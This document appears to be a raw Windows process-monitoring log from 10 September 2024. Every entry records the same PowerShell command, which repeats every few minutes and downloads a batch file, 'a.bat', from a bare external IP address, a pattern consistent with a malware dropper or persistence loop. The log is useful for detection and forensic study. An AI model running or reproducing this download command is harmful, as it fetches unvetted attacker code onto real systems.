C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:12:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:13:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:15:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:15:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:17:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:18:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:20:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:20:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:22:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:23:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:25:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:25:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:27:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:28:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:30:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:30:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:32:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:33:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:35:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:35:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:37:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:38:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:40:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:40:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:42:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:43:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:45:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:45:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:47:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:48:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:50:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:50:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:52:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:53:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:55:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:55:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:57:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:58:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:00:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:00:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:02:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:03:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:05:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:05:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:07:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:08:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:10:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:10:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:12:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:13:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:15:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:15:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:17:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:18:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:20:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:20:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:22:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:23:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:25:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:25:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:27:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:28:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:30:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:30:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:32:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:33:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:35:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:35:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:37:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:38:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:40:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:40:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:42:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:43:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:45:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:45:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:47:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:48:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:50:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:50:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:52:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:53:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:55:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:55:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:57:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 14:58:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:00:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:00:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:02:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:03:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:05:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:05:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:08:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:08:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:10:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:10:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:13:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:13:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:15:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:15:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:18:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:18:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:20:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:20:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:23:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:23:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:25:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:25:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:28:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:28:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:30:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:30:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:33:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:33:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:35:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:35:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:38:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:38:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:40:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:40:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:43:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:43:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:45:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:46:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:48:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:48:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:50:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:51:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:53:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:53:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:55:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:56:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:58:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 15:58:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:00:39 NOTIFY: PROCESS 